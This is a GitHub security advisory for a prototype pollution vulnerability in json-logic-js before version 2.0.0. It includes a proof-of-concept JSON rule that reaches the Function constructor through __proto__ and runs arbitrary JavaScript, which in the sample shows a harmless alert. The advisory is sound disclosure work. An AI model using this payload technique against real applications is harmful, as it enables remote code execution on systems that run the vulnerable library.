GHSA-m9hw-7xfv-wqg7
high
Prototype Pollution in json-logic-js
- Severity
- high rating by GitHub
- Published
- Last changed
Description
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| json-logic-js (npm) | before 2.0.0 | GitHub Advisory Database |
Classification
References
Sources
| Source | Record | Licence |
|---|---|---|
| GitHub Advisory Database | GHSA-m9hw-7xfv-wqg7 changed 2020-11-12 | CC-BY-4.0 |